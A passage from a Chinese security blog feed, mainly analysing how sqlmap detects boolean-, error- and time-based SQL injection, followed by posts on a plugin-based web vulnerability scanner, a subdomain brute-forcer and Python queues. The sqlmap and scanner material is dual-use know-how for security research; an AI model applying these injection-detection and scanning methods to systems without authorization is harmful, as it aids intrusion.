(bool, int, float, basestring)):</span><br><span class="line">                              original = current[key]</span><br><span class="line">                              <span class="keyword">if</span> isinstance(value, bool):</span><br><span class="line">                                  current[key] = <span class="string">"%s%s"</span> % (str(value).lower(), BOUNDED_INJECTION_MARKER)</span><br><span class="line">                              <span class="keyword">else</span>:</span><br><span class="line">                                  current[key] = <span class="string">"%s%s"</span> % (value, BOUNDED_INJECTION_MARKER)</span><br><span class="line">                              candidates[<span class="string">"%s (%s)"</span> % (parameter, key)] = re.sub(<span class="string">"(%s\s*=\s*)%s"</span> % (re.escape(parameter), re.escape(testableParameters[parameter])), <span class="string">r"\g&lt;1&gt;%s"</span> % json.dumps(deserialized), parameters)</span><br><span class="line">                              current[key] = original</span><br><span class="line">              deserialized = json.loads(testableParameters[parameter])</span><br><span class="line">              walk(deserialized)</span><br></pre></td></tr></table></figure><p>这个思路解决了我在参数解析的混合参数的识别问题。</p><p>demo如下</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python vulscaner.py</span><br><span class="line">url : http://httpbin.org/cookies/set?k1=v1&amp;k2=v2</span><br><span class="line">http://httpbin.org/cookies/set?k1=v1__INSERT_VUL_PAYLOAD_HERE__&amp;k2=v2</span><br><span class="line">http://httpbin.org/cookies/set?k1=v1&amp;k2=v2__INSERT_VUL_PAYLOAD_HERE__</span><br></pre></td></tr></table></figure><p>这个函数主要是在变量的位置插入flag标识，我们在进行漏洞检测，如sql注入时，分别替换成对应的payload即可。</p><h2 id="注入检测"><a href="#注入检测" class="headerlink" title="注入检测"></a>注入检测</h2><p>注入检测方法在lib\controller\checks.py中，按照BUEST的注入分类分别检测的。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">checkSqlInjection</span><span class="params">(place, parameter, value)</span>:</span></span><br><span class="line">    ...</span><br></pre></td></tr></table></figure></p><p>看一下注入判断的逻辑。</p><h3 id="bool-base注入"><a href="#bool-base注入" class="headerlink" title="bool-base注入"></a>bool-base注入</h3><p>首先看一下布尔类型的盲注吧，因为我之前的工具这个类型准确度不高。</p><p>sqlmap中盲注检测是比较复杂的一种</p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/SQLMAP-SQL-BOOL.png" alt="BOOL"></p><p>首先是生成payload，构造prefix和suffix。<br>然后就是分别使用正确和错误的payload分别请求。</p><p>然后在这里判断<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> trueResult <span class="keyword">and</span> <span class="keyword">not</span>(truePage == falsePage <span class="keyword">and</span> <span class="keyword">not</span> kb.nullConnection):</span><br></pre></td></tr></table></figure></p><p>如果两次请求不同，则认为有可能是注入，进入更详细的检测。<br>在检测方法中，我认为有个算法挺简介高效的。<br>在lib\request\comparison.py中的comparison中。</p><p>部分代码,（忽略我加的调试代码）<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">_comparison</span><span class="params">(page, headers, code, getRatioValue, pageLength)</span>:</span></span><br><span class="line">    threadData = getCurrentThreadData()</span><br><span class="line">    <span class="keyword">if</span> kb.testMode:</span><br><span class="line">        threadData.lastComparisonHeaders = listToStrValue([_ <span class="keyword">for</span> _ <span class="keyword">in</span> headers.headers <span class="keyword">if</span> <span class="keyword">not</span> _.startswith(<span class="string">"%s:"</span> % URI_HTTP_HEADER)]) <span class="keyword">if</span> headers <span class="keyword">else</span> <span class="string">""</span></span><br><span class="line">        threadData.lastComparisonPage = page</span><br><span class="line">        threadData.lastComparisonCode = code</span><br><span class="line">        <span class="keyword">print</span> <span class="string">'kb.testMode'</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> page <span class="keyword">is</span> <span class="literal">None</span> <span class="keyword">and</span> pageLength <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">print</span> <span class="string">"2--&gt;"</span> </span><br><span class="line">    <span class="keyword">print</span> conf.string</span><br><span class="line">    <span class="keyword">if</span> any((conf.string, conf.notString, conf.regexp)):</span><br><span class="line">        rawResponse = <span class="string">"%s%s"</span> % (listToStrValue([_ <span class="keyword">for</span> _ <span class="keyword">in</span> headers.headers <span class="keyword">if</span> <span class="keyword">not</span> _.startswith(<span class="string">"%s:"</span> % URI_HTTP_HEADER)]) <span class="keyword">if</span> headers <span class="keyword">else</span> <span class="string">""</span>, page)</span><br><span class="line">        <span class="comment"># String to match in page when the query is True and/or valid</span></span><br><span class="line">        <span class="keyword">if</span> conf.string:</span><br><span class="line">            <span class="keyword">print</span> conf.string</span><br><span class="line">            <span class="keyword">return</span> conf.string <span class="keyword">in</span> rawResponse</span><br><span class="line"></span><br><span class="line">        <span class="comment"># String to match in page when the query is False and/or invalid</span></span><br><span class="line">        <span class="keyword">if</span> conf.notString:</span><br><span class="line">            <span class="keyword">return</span> conf.notString <span class="keyword">not</span> <span class="keyword">in</span> rawResponse</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Regular expression to match in page when the query is True and/or valid</span></span><br><span class="line">        <span class="keyword">if</span> conf.regexp:</span><br><span class="line">            <span class="keyword">return</span> re.search(conf.regexp, rawResponse, re.I | re.M) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">print</span> <span class="string">'can you here'</span></span><br></pre></td></tr></table></figure></p><p>这个方法是把正确和错误的返回内容分割为单个字符的set去比较，包括返回头信息。</p><p>比较算法如下，把两次返回的set取差集。计算出正确内容的flag标识，也就是sqlmap的–string参数。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">originalSet = set(getFilteredPageContent(kb.pageTemplate, <span class="literal">True</span>, <span class="string">"\n"</span>).split(<span class="string">"\n"</span>))</span><br><span class="line">                                    trueSet = set(getFilteredPageContent(truePage, <span class="literal">True</span>, <span class="string">"\n"</span>).split(<span class="string">"\n"</span>))</span><br><span class="line">                                    falseSet = set(getFilteredPageContent(falsePage, <span class="literal">True</span>, <span class="string">"\n"</span>).split(<span class="string">"\n"</span>))</span><br><span class="line">                                    <span class="keyword">print</span> <span class="string">"in 2"</span></span><br><span class="line"></span><br><span class="line">                                    <span class="keyword">if</span> originalSet == trueSet != falseSet:</span><br><span class="line">                                        candidates = trueSet - falseSet</span><br><span class="line"></span><br><span class="line">                                        <span class="keyword">if</span> candidates:</span><br><span class="line">                                            candidates = sorted(candidates, key=<span class="keyword">lambda</span> _: len(_))</span><br><span class="line">                                            <span class="keyword">for</span> candidate <span class="keyword">in</span> candidates:</span><br><span class="line">                                                <span class="keyword">if</span> re.match(<span class="string">r"\A[\w.,! ]+\Z"</span>, candidate) <span class="keyword">and</span> <span class="string">' '</span> <span class="keyword">in</span> candidate <span class="keyword">and</span> len(candidate) &gt; CANDIDATE_SENTENCE_MIN_LENGTH:</span><br><span class="line">                                                    conf.string = candidate</span><br><span class="line">                                                    injectable = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">                                                    infoMsg = <span class="string">"%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")"</span> % (paramType, parameter, title, repr(conf.string).lstrip(<span class="string">'u'</span>).strip(<span class="string">"'"</span>))</span><br><span class="line">                                                    logger.info(infoMsg)</span><br><span class="line"></span><br><span class="line">                                                    <span class="keyword">break</span></span><br></pre></td></tr></table></figure><p>获取到–string的参数后，就可以根据这个flag来判断页面返回是true或false了。</p><blockquote><p>其他情况下：</p></blockquote><p>注入逻辑是根据页面的相似度来进行判断true或false。我之前用的是simhash，sqlmap这里使用的是difflib。</p><p>当页面相似度阀值过低，就认为该位置可能存在注入。（ps ： 忽略我加的调试代码）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    seq1 = getFilteredPageContent(seqMatcher.a, <span class="literal">True</span>) <span class="keyword">if</span> conf.textOnly <span class="keyword">else</span> seqMatcher.a</span><br><span class="line">    seq2 = getFilteredPageContent(page, <span class="literal">True</span>) <span class="keyword">if</span> conf.textOnly <span class="keyword">else</span> page</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> seq1 <span class="keyword">is</span> <span class="literal">None</span> <span class="keyword">or</span> seq2 <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">seq1 = seq1.replace(REFLECTED_VALUE_MARKER, <span class="string">""</span>)</span><br><span class="line">seq2 = seq2.replace(REFLECTED_VALUE_MARKER, <span class="string">""</span>)</span><br><span class="line"><span class="keyword">print</span> <span class="string">'-----seq-------'</span></span><br><span class="line"><span class="keyword">print</span> seq2</span><br><span class="line">seqMatcher.set_seq1(seq1)</span><br><span class="line">seqMatcher.set_seq2(seq2)</span><br><span class="line"></span><br><span class="line">ratio = round(seqMatcher.quick_ratio(), <span class="number">3</span>)</span><br><span class="line"><span class="keyword">print</span> ratio</span><br><span class="line"><span class="keyword">print</span> <span class="string">'--'</span></span><br></pre></td></tr></table></figure><h3 id="error-base注入"><a href="#error-base注入" class="headerlink" title="error-base注入"></a>error-base注入</h3><p>这个实现起来相对简单一些。</p><p>sqlmap的规则在xml\errors.xml中。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># In case of error-based SQL injection</span></span><br><span class="line">                       <span class="keyword">elif</span> method == PAYLOAD.METHOD.GREP:</span><br><span class="line">                           <span class="comment"># Perform the test's request and grep the response</span></span><br><span class="line">                           <span class="comment"># body for the test's &lt;grep&gt; regular expression</span></span><br><span class="line">                           <span class="keyword">try</span>:</span><br><span class="line">                               page, headers = Request.queryPage(reqPayload, place, content=<span class="literal">True</span>, raise404=<span class="literal">False</span>)</span><br><span class="line">                               output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \</span><br><span class="line">                                       <span class="keyword">or</span> extractRegexResult(check, listToStrValue( \</span><br><span class="line">                                       [headers[key] <span class="keyword">for</span> key <span class="keyword">in</span> headers.keys() <span class="keyword">if</span> key.lower() != URI_HTTP_HEADER.lower()] \</span><br><span class="line">                                       <span class="keyword">if</span> headers <span class="keyword">else</span> <span class="literal">None</span>), re.DOTALL | re.IGNORECASE) \</span><br><span class="line">                                       <span class="keyword">or</span> extractRegexResult(check, threadData.lastRedirectMsg[<span class="number">1</span>] \</span><br><span class="line">                                       <span class="keyword">if</span> threadData.lastRedirectMsg <span class="keyword">and</span> threadData.lastRedirectMsg[<span class="number">0</span>] == \</span><br><span class="line">                                       threadData.lastRequestUID <span class="keyword">else</span> <span class="literal">None</span>, re.DOTALL | re.IGNORECASE)</span><br><span class="line"></span><br><span class="line">                               <span class="keyword">if</span> output:</span><br><span class="line">                                   result = output == <span class="string">"1"</span></span><br><span class="line"></span><br><span class="line">                                   <span class="keyword">if</span> result:</span><br><span class="line">                                       infoMsg = <span class="string">"%s parameter '%s' is '%s' injectable "</span> % (paramType, parameter, title)</span><br><span class="line">                                       logger.info(infoMsg)</span><br><span class="line"></span><br><span class="line">                                       injectable = <span class="literal">True</span></span><br></pre></td></tr></table></figure><p>在给定的payload中存在数据库的报错信息，则初步认定为是注入点。</p><h3 id="time-base注入"><a href="#time-base注入" class="headerlink" title="time-base注入"></a>time-base注入</h3><p>时间类型的主要是判定两次请求的时间差。<br>网络访问控制实现主要在lib\request\connect.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># In case of time-based blind or stacked queries</span></span><br><span class="line">                       <span class="comment"># SQL injections</span></span><br><span class="line">                       <span class="keyword">elif</span> method == PAYLOAD.METHOD.TIME:</span><br><span class="line">                           <span class="comment"># Perform the test's request</span></span><br><span class="line">                           trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=<span class="literal">True</span>, raise404=<span class="literal">False</span>)</span><br><span class="line">                           trueCode = threadData.lastCode</span><br><span class="line"></span><br><span class="line">                           <span class="keyword">if</span> trueResult:</span><br><span class="line">                               <span class="comment"># Extra validation step (e.g. to check for DROP protection mechanisms)</span></span><br><span class="line">                               <span class="keyword">if</span> SLEEP_TIME_MARKER <span class="keyword">in</span> reqPayload:</span><br><span class="line">                                   falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, <span class="string">"0"</span>), place, timeBasedCompare=<span class="literal">True</span>, raise404=<span class="literal">False</span>)</span><br><span class="line">                                   <span class="keyword">if</span> falseResult:</span><br><span class="line">                                       <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">                               <span class="comment"># Confirm test's results</span></span><br><span class="line">                               trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=<span class="literal">True</span>, raise404=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line">                               <span class="keyword">if</span> trueResult:</span><br><span class="line">                                   infoMsg = <span class="string">"%s parameter '%s' appears to be '%s' injectable "</span> % (paramType, parameter, title)</span><br><span class="line">                                   logger.info(infoMsg)</span><br><span class="line"></span><br><span class="line">                                   injectable = <span class="literal">True</span></span><br></pre></td></tr></table></figure><p>源码中还有union注入方法等。</p><p>PS : 看了两天源码，改了sqlmap的一些东西。加了一堆调试，最后成功把sqlmap改坏了 :(</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>由于python水平有限，而且本次看sqlmap源码主要目的是研究一下其注入判断的方式，所以sqlmap在注入利用的源码部分没细看。<br>在参数解析和布尔注入的思路如醍醐灌顶。<br>总的来说，sqlmap的注入思想还是值得每一个web安全研究者去拜读的。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;sqlmap是安全人员必备的注入神器，没有之一。注入手法，注入思路以及注入语句构造的都是相当厉害。&lt;/p&gt;
&lt;p&gt;sqlmap作为集检测与利用一体的注入工具，在注入判断上的速度难免会慢一些。虽然提供了sqlmapapi的形式供DIY调用，但效果差强人意。&lt;br&gt;所以一直以来
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="python" scheme="https://www.beysec.com/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>我们都是骄傲的人</title>
    <link href="https://www.beysec.com/thinking/think-in-world.html"/>
    <id>https://www.beysec.com/thinking/think-in-world.html</id>
    <published>2018-01-25T07:56:25.000Z</published>
    <updated>2020-07-13T07:43:03.128Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>此文仅作者可见</p></blockquote>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;此文仅作者可见&lt;/p&gt;
&lt;/blockquote&gt;

      
    
    </summary>
    
      <category term="thinking" scheme="https://www.beysec.com/categories/thinking/"/>
    
    
      <category term="thinking" scheme="https://www.beysec.com/tags/thinking/"/>
    
  </entry>
  
  <entry>
    <title>你好，2018</title>
    <link href="https://www.beysec.com/thinking/hello-2018.html"/>
    <id>https://www.beysec.com/thinking/hello-2018.html</id>
    <published>2017-12-31T16:30:04.000Z</published>
    <updated>2020-07-13T07:43:03.123Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>元旦快乐。</p></blockquote><p>一晃来了北京一年了，正值元旦，突然想想这一年也成长了不少。<br>正好公司也要年度总结报告，也简单的个人总结下~<br>年初刚来北京的一些目标也大多数完成了。</p><p>回想一下当时还是挺有意思的。</p><p>当时立下的一些flag</p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/2017-18.png" alt="计划"></p><p>2017再见。<br>没完成的只能交给2018了~<br>立下新一年的flag，希望能圆满完成目标。</p><p>突然明白为什么很多人向往北京，虽然这里有糟糕得天气，最不友好得的房价和饮食，但就像保罗•格雷厄姆所写的文章《市井雄心》（cities and ambition）里说的，“所有伟大的城市都激发着某种雄心”。他暗示了一种冒险精神。很多创业者，被这种气息吸引而来，在这里让一些不一样的事情发生。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;元旦快乐。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一晃来了北京一年了，正值元旦，突然想想这一年也成长了不少。&lt;br&gt;正好公司也要年度总结报告，也简单的个人总结下~&lt;br&gt;年初刚来北京的一些目标也大多数完成了。&lt;/p&gt;
&lt;p&gt;回想一下当时还是挺有
      
    
    </summary>
    
      <category term="thinking" scheme="https://www.beysec.com/categories/thinking/"/>
    
    
      <category term="thinking" scheme="https://www.beysec.com/tags/thinking/"/>
    
  </entry>
  
  <entry>
    <title>Python线程与Queue的join()和task_done()</title>
    <link href="https://www.beysec.com/coding/python-queue-tips.html"/>
    <id>https://www.beysec.com/coding/python-queue-tips.html</id>
    <published>2017-12-19T07:00:45.000Z</published>
    <updated>2020-07-13T07:43:03.126Z</updated>
    
    <content type="html"><![CDATA[<p>写一个扫描器用到了python多线程和消息队列的东西，直接用queue却没达到预期效果，网上找了一下资料，发现解释的没那么明白。</p><p>看了一下官方文档。<br>链接地址：<a href="https://docs.python.org/2/library/queue.html?highlight=task_done#Queue.Queue.task_done" target="_blank" rel="noopener">https://docs.python.org/2/library/queue.html?highlight=task_done#Queue.Queue.task_done</a><br>文档写的也有点模糊。<br>Queue.task_done() 在完成一项工作之后，Queue.task_done()函数向任务已经完成的队列发送一个信号<br>Queue.join() 实际上意味着等到队列为空，再执行别的操作</p><h3 id="个人理解"><a href="#个人理解" class="headerlink" title="个人理解"></a>个人理解</h3><p>当线程通过队列取值一次后，也就是queue.get()，队列会记录这个取值的记录。但是此时队列的数量已经减少1了。<br>如果没有使用队列执行task_done()这个方法。则队列就会认为这个任务还在执行中。<br>可以理解为队列为这个任务是否完成单独设置了个计数器。<br>总结一下就是：<br>如果线程里每从队列里取一次，但没有执行task_done()，则join无法判断队列到底有没有结束，在最后执行个join()是等不到结果的，会一直挂起。</p><p>示例代码：<br>会在join()的地方无限挂起，因为join在等队列清空，但是由于没有task_done，它认为队列还没有清空，还在一直等。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">import</span> Queue</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"></span><br><span class="line">que = Queue.Queue()</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Testthread</span><span class="params">(threading.Thread)</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,que)</span>:</span></span><br><span class="line">        threading.Thread.__init__(self)</span><br><span class="line">        self.queue = que</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            sleep(<span class="number">0.1</span>)</span><br><span class="line">            item = self.queue.get()</span><br><span class="line">            print(item)</span><br><span class="line">            self.queue.task_done()</span><br><span class="line">tasks = [Testthread(que) <span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">2</span>)]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> tasks:</span><br><span class="line">    t = Testthread(que)</span><br><span class="line">    t.setDaemon(<span class="literal">True</span>)</span><br><span class="line">    t.start()</span><br><span class="line">    </span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">    que.put(x)</span><br><span class="line">que.join()</span><br><span class="line"></span><br><span class="line">print(<span class="string">'all done'</span>)</span><br></pre></td></tr></table></figure><p>如果把<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">self.queue.task_done()</span><br></pre></td></tr></table></figure></p><p>注释去掉，就可以正常运行了。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;写一个扫描器用到了python多线程和消息队列的东西，直接用queue却没达到预期效果，网上找了一下资料，发现解释的没那么明白。&lt;/p&gt;
&lt;p&gt;看了一下官方文档。&lt;br&gt;链接地址：&lt;a href=&quot;https://docs.python.org/2/library/queu
      
    
    </summary>
    
      <category term="coding" scheme="https://www.beysec.com/categories/coding/"/>
    
    
      <category term="python" scheme="https://www.beysec.com/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>一款基于插件的web漏洞扫描器设计与实现</title>
    <link href="https://www.beysec.com/security/poc-exp-web-scanner.html"/>
    <id>https://www.beysec.com/security/poc-exp-web-scanner.html</id>
    <published>2017-12-18T10:42:08.000Z</published>
    <updated>2020-07-13T07:43:03.126Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>漏洞扫描器在web安全领域一直是个热门话题，也有不少扫描器站了出来，有的成为安全从业者的必备神器，而有些则昙花一现。不管是web模式，B/S模式的扫描器都接触不少。最近趁着有点时间，试着动手写一个扫描器吧。毕竟自己写的才能跟自己的需求符合上。</p><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>目前常见的插件扫描器大概有三家，分别是pocsuite、bugscan、tangscan。后两家由于种种原因最终关闭了。<br>我一直以来都再用知道创宇的pocsuite，也算顺手。<br>所谓插件式扫描器，无非是大量POC/EXP来堆叠起来。相比较与传统的漏洞扫描器，插件式扫描器更方便维护，当出现新漏洞时只要添加一个新的POC即可。而不用更改扫描器的核心文件。相对来说较为方便。</p><h3 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h3><p>既然是web版本，肯定是要有页面和后台扫描服务。简单的画了几个流程图，然后开始coding。</p><h4 id="技术选型"><a href="#技术选型" class="headerlink" title="技术选型"></a>技术选型</h4><p>主要分为前端web和后台扫描服务两个部分</p><blockquote><ul><li>Python</li><li>Flask</li><li>MySQL</li></ul></blockquote><h4 id="流程设计"><a href="#流程设计" class="headerlink" title="流程设计"></a>流程设计</h4><p>前端部分流程图主要分为poc扫描，任务调度，插件管理等部分。具体如图所示</p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/nstscan-qianduan.png" alt="前端部分"></p><p>后端部分主要是扫描服务，对前端用户的任务进行调度，并给出扫描结果。<br>主要分为以下几个部分。</p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/nstscan-back.png" alt="后台部分"></p><h3 id="具体实现"><a href="#具体实现" class="headerlink" title="具体实现"></a>具体实现</h3><h4 id="前端部分"><a href="#前端部分" class="headerlink" title="前端部分"></a>前端部分</h4><p>前端UI主要是Flask、MySQL，写了以下前端，个人比较习惯简约风格的，感觉还不错~</p><p>前端没什么好说的，熟悉Flask和python的话比较简单。来几张图吧</p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/ui1.png" alt="web前端"><br><img src="https://hexoblog-1253112764.file.myqcloud.com/ui2.png" alt="web前端"><br><img src="https://hexoblog-1253112764.file.myqcloud.com/ui3.png" alt="web前端"><br><img src="https://hexoblog-1253112764.file.myqcloud.com/ui4.png" alt="web前端"><br><img src="https://hexoblog-1253112764.file.myqcloud.com/ui5.png" alt="web前端"><br><img src="https://hexoblog-1253112764.file.myqcloud.com/ui6.png" alt="web前端"></p><h4 id="后台扫描服务"><a href="#后台扫描服务" class="headerlink" title="后台扫描服务"></a>后台扫描服务</h4><p>后台扫描服务主要分为端口扫描、poc扫描、目录、敏感信息等扫描。当然也可以自定义扫描，扩展一下就可以了。<br>端口扫描可以使用nmap、zmap等python库，不过为了速度考虑，我这里直接用的朋友s3xy之前写个一个端口扫描小模块，改了一下容错率的问题。<br>poc扫描部分这里是用到了知道创宇的pocsuite，因为这个算是比较成熟了。之前写了一个poc/exp扫描器，也在GitHub开源了，不过不推荐在生产环境使用。稳定性有待观察。</p><p><img src="https://hexoblog-1253112764.file.myqcloud.com/nstscan_backsevice1.png" alt="web前端"></p><h3 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h3><p>本文给一些想写个自己的小DIY扫描器的同学提供一些思路。<br>其实不管是web形式的扫描器还是console的poc扫描器，主要都是靠poc/exp来支撑。<br>没有poc的扫描器都是耍流氓~<br>没有老板的支持的安全是进行不下去的~</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;漏洞扫描器在web安全领域一直是个热门话题，也有不少扫描器站了出来，有的成为安全从业者的必备神器，而有些则昙花一现。不管是web模式，B/S
      
    
    </summary>
    
      <category term="security" scheme="https://www.beysec.com/categories/security/"/>
    
    
      <category term="security" scheme="https://www.beysec.com/tags/security/"/>
    
      <category term="python" scheme="https://www.beysec.com/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>一款可集成调用的子域名爆破工具</title>
    <link href="https://www.beysec.com/security/sub-domains-brute-interface.html"/>
    <id>https://www.beysec.com/security/sub-domains-brute-interface.html</id>
    <published>2017-12-12T09:44:49.000Z</published>
    <updated>2020-07-13T07:43:03.128Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>最近在写一个插件扫描器，需要对目标域名进行子域名的探测，然后进行批量的POC检测。<br>不想重复造轮子，于是在GitHub溜了一圈。（逃）</p><h3 id="改造"><a href="#改造" class="headerlink" title="改造"></a>改造</h3><p>后面感觉还是lijiejie的比较经典好用。但是他的是保存到文件中的，每次读文件的话不太方便，所以还是简单的改改吧。</p><p>主要是去掉了一些代码。。</p><blockquote><ul><li>去除了文件输出</li><li>去除日志输出</li><li>保存结果到list列表方便API调用</li></ul></blockquote><p>效果如下</p><p><img src="//hexoblog-1253112764.file.myqcloud.com/img/subdomains.png" alt="subdomains"></p><p>如何在自己的模块中集成该工具</p><p>示例 </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">d = SubNameBrute(target=args[<span class="number">0</span>], options=options)</span><br><span class="line">d.run()</span><br><span class="line"><span class="keyword">print</span> d.subdomains</span><br></pre></td></tr></table></figure><h3 id="开源"><a href="#开源" class="headerlink" title="开源"></a>开源</h3><p><a href="https://github.com/ibey0nd/subDomainsBrute" target="_blank" rel="noopener">https://github.com/ibey0nd/subDomainsBrute</a></p><p>再次感谢lijiejie~</p>]]></content>
    
    <summary type="html">
    
